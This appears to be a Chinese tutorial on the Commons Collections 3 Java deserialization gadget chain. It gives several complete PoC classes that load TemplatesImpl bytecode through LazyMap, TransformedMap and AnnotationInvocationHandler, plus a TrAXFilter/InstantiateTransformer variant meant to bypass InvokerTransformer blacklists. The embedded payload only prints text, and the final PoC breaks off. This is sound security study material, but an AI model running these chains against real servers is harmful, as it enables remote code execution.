Commons Collections 3

前面提到了如何利用TemplatesImpl加载字节码,只不过那是手动调用newTransformer来触发的,
这里可以利用cc1的思路结合字节码的方式来实现调用,实际上就是指用InvokerTransformer来调用newTransformer这个方法

结合poc:

利用的是TransformedMap链子手动触发put,只需注意用InvokerTransformer来调用TemplatesImpl 类的newTransformer方法

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.util.Base64;

public class cc3 {
    public static void setFieldValue(Object obj,String fieldName,Object Value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQALgoABgAeCQAfACAIACEKACIAIwcAJAcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1" +
                "bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNo" +
                "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUB" +
                "AA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTEhlbGxvOwEA" +
                "CGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007" +
                "AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXpl" +
                "ci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAmAQCmKExjb20vc3VuL29yZy9h" +
                "cGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2lu" +
                "dGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJu" +
                "YWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9z" +
                "dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVy" +
                "AQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                "aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHACcBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwA" +
                "GQAaBwAoDAApACoBAApIZWxsbyBjMTExBwArDAAsAC0BAAVIZWxsbwEAQGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20v" +
                "c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNq" +
                "YXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1By" +
                "aW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcv" +
                "U3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEA" +
                "AAAJAAsAAAAgAAMAAAABAAwADQAAAAAAAQAOAA8AAQAAAAEAEAARAAIAEgAAAAQAAQATAAEABwAU" +
                "AAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAALAAsAAAAqAAQAAAABAAwADQAAAAAAAQAO" +
                "AA8AAQAAAAEAFQAWAAIAAAABABcAGAADABIAAAAEAAEAEwABABkAGgACAAkAAAA/AAIAAQAAAA0q" +
                "twABsgACEgO2AASxAAAAAgAKAAAADgADAAAADQAEAA4ADAAPAAsAAAAMAAEAAAANAAwADQAAABIA" +
                "AAAEAAEAGwABABwAAAACAB0=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_name","c1");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,chainedTransformer);
        outerMap.put("c1","1");
    }

}

用之前说到的Lazymapget来手动触发也是可以的

        Map lazymap = LazyMap.decorate(new HashMap(),chainedTransformer);
        lazymap.get("1");

payload:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.util.Base64;

public class cc3 {
    public static void setFieldValue(Object obj,String fieldName,Object Value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQALgoABgAeCQAfACAIACEKACIAIwcAJAcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1" +
                "bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNo" +
                "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUB" +
                "AA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTEhlbGxvOwEA" +
                "CGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007" +
                "AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXpl" +
                "ci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAmAQCmKExjb20vc3VuL29yZy9h" +
                "cGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2lu" +
                "dGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJu" +
                "YWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9z" +
                "dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVy" +
                "AQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                "aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHACcBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwA" +
                "GQAaBwAoDAApACoBAApIZWxsbyBjMTExBwArDAAsAC0BAAVIZWxsbwEAQGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20v" +
                "c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNq" +
                "YXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1By" +
                "aW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcv" +
                "U3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEA" +
                "AAAJAAsAAAAgAAMAAAABAAwADQAAAAAAAQAOAA8AAQAAAAEAEAARAAIAEgAAAAQAAQATAAEABwAU" +
                "AAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAALAAsAAAAqAAQAAAABAAwADQAAAAAAAQAO" +
                "AA8AAQAAAAEAFQAWAAIAAAABABcAGAADABIAAAAEAAEAEwABABkAGgACAAkAAAA/AAIAAQAAAA0q" +
                "twABsgACEgO2AASxAAAAAgAKAAAADgADAAAADQAEAA4ADAAPAAsAAAAMAAEAAAANAAwADQAAABIA" +
                "AAAEAAEAGwABABwAAAACAB0=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_name","c1");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        Map lazymap = LazyMap.decorate(new HashMap(),chainedTransformer);
        lazymap.get("1");
    }

}

试着用构造反序列化来触发

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.util.Base64;

public class cc3 {
    public static void setFieldValue(Object obj,String fieldName,Object Value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQALgoABgAeCQAfACAIACEKACIAIwcAJAcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1" +
                "bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNo" +
                "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUB" +
                "AA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTEhlbGxvOwEA" +
                "CGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007" +
                "AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXpl" +
                "ci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAmAQCmKExjb20vc3VuL29yZy9h" +
                "cGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2lu" +
                "dGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJu" +
                "YWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9z" +
                "dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVy" +
                "AQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                "aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHACcBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwA" +
                "GQAaBwAoDAApACoBAApIZWxsbyBjMTExBwArDAAsAC0BAAVIZWxsbwEAQGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20v" +
                "c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNq" +
                "YXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1By" +
                "aW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcv" +
                "U3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEA" +
                "AAAJAAsAAAAgAAMAAAABAAwADQAAAAAAAQAOAA8AAQAAAAEAEAARAAIAEgAAAAQAAQATAAEABwAU" +
                "AAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAALAAsAAAAqAAQAAAABAAwADQAAAAAAAQAO" +
                "AA8AAQAAAAEAFQAWAAIAAAABABcAGAADABIAAAAEAAEAEwABABkAGgACAAkAAAA/AAIAAQAAAA0q" +
                "twABsgACEgO2AASxAAAAAgAKAAAADgADAAAADQAEAA4ADAAPAAsAAAAMAAEAAAANAAwADQAAABIA" +
                "AAAEAAEAGwABABwAAAACAB0=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_name","c1");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value","xxx");
        Map outerMap = TransformedMap.decorate(innerMap,null,chainedTransformer);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cl.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class,outerMap);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = (Object) objectInputStream.readObject();

    }

}

LazyMap的也可以

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.util.Base64;

public class cc3 {
    public static void setFieldValue(Object obj,String fieldName,Object Value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQALgoABgAeCQAfACAIACEKACIAIwcAJAcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1" +
                "bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNo" +
                "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUB" +
                "AA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTEhlbGxvOwEA" +
                "CGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007" +
                "AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXpl" +
                "ci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAmAQCmKExjb20vc3VuL29yZy9h" +
                "cGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2lu" +
                "dGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJu" +
                "YWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9z" +
                "dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVy" +
                "AQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                "aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHACcBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwA" +
                "GQAaBwAoDAApACoBAApIZWxsbyBjMTExBwArDAAsAC0BAAVIZWxsbwEAQGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20v" +
                "c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNq" +
                "YXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1By" +
                "aW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcv" +
                "U3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEA" +
                "AAAJAAsAAAAgAAMAAAABAAwADQAAAAAAAQAOAA8AAQAAAAEAEAARAAIAEgAAAAQAAQATAAEABwAU" +
                "AAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAALAAsAAAAqAAQAAAABAAwADQAAAAAAAQAO" +
                "AA8AAQAAAAEAFQAWAAIAAAABABcAGAADABIAAAAEAAEAEwABABkAGgACAAkAAAA/AAIAAQAAAA0q" +
                "twABsgACEgO2AASxAAAAAgAKAAAADgADAAAADQAEAA4ADAAPAAsAAAAMAAEAAAANAAwADQAAABIA" +
                "AAAEAAEAGwABABwAAAACAB0=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_name","c1");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value","xxx");
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cl.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class,outerMap);
        InvocationHandler invocationHandler = (InvocationHandler)obj;
        Map proxyMap =(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        invocationHandler = (InvocationHandler)constructor.newInstance(Retention.class,proxyMap);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(invocationHandler);
        objectOutputStream.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = (Object) objectInputStream.readObject();
    }
}

com.sun.org.apache.xalan.interal.xsltc.trax.TrAXFilter

CC3的目的就是为了绕过一些规则对InvokerTransformer的限制,因为很多地方已经把InvokerTransformer放入黑名单了,并没有用InvokerTransformer来调用任意方法,而是用到了另一个类com.sun.org.apache.xalan.interal.xsltc.trax.TrAXFilter

看看这个类的构造函数:

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

当然,缺少了InvokerTransformerTrAXFilter的构造方法也是无法调用的。这里会用到一个新的 Transformer,就是org.apache.commons.collections.functors.InstantiateTransformer

InstantiateTransformer也是一个实现了Transformer接口的类,他的作用就是调用构造方法。
所以,我们实现的目标就是,利用 InstantiateTransformer 来调用到 TrAXFilter 的构造方法,再利 用其构造方法里的 templates.newTransformer() 调用到 TemplatesImpl 里的字节码。

先看一下InstantiateTransformertransform方法

public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

即会通过反射来调用构造函数,所以可以利用InstantiateTransformer来调用TrAXFilter的构造方法,这样就会直接调用templates.newInstance(),利用链如下:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
 };

大概是这样的:

ChainedTransformer会对transformer[]数组进行循环,第一次的参数值是ConstantTransformer,进入它的transform方法,返回TrAXFilter对象;
第二次的参数值是InstantiateTransformer,调用他的transform方法,然后把TrAXFilter作为参数传入,然后就是调用到了TrAXFilter的构造函数,后面流程就是一样的了

构造出完整的poc:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.util.Base64;

public class cc3 {
    public static void setFieldValue(Object obj,String fieldName,Object Value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQALgoABgAeCQAfACAIACEKACIAIwcAJAcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1" +
                "bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNo" +
                "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUB" +
                "AA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTEhlbGxvOwEA" +
                "CGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007" +
                "AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXpl" +
                "ci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAmAQCmKExjb20vc3VuL29yZy9h" +
                "cGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2lu" +
                "dGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJu" +
                "YWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9z" +
                "dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVy" +
                "AQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                "aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHACcBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwA" +
                "GQAaBwAoDAApACoBAApIZWxsbyBjMTExBwArDAAsAC0BAAVIZWxsbwEAQGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20v" +
                "c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNq" +
                "YXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1By" +
                "aW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcv" +
                "U3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEA" +
                "AAAJAAsAAAAgAAMAAAABAAwADQAAAAAAAQAOAA8AAQAAAAEAEAARAAIAEgAAAAQAAQATAAEABwAU" +
                "AAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAALAAsAAAAqAAQAAAABAAwADQAAAAAAAQAO" +
                "AA8AAQAAAAEAFQAWAAIAAAABABcAGAADABIAAAAEAAEAEwABABkAGgACAAkAAAA/AAIAAQAAAA0q" +
                "twABsgACEgO2AASxAAAAAgAKAAAADgADAAAADQAEAA4ADAAPAAsAAAAMAAEAAAANAAwADQAAABIA" +
                "AAAEAAEAGwABABwAAAACAB0=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_name","c1");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templates })
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value","xxx");
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cl.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class,outerMap);
        InvocationHandler invocationHandler = (InvocationHandler)obj;
        Map proxyMap =(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        invocationHandler = (InvocationHandler)constructor.newInstance(Retention.class,proxyMap);

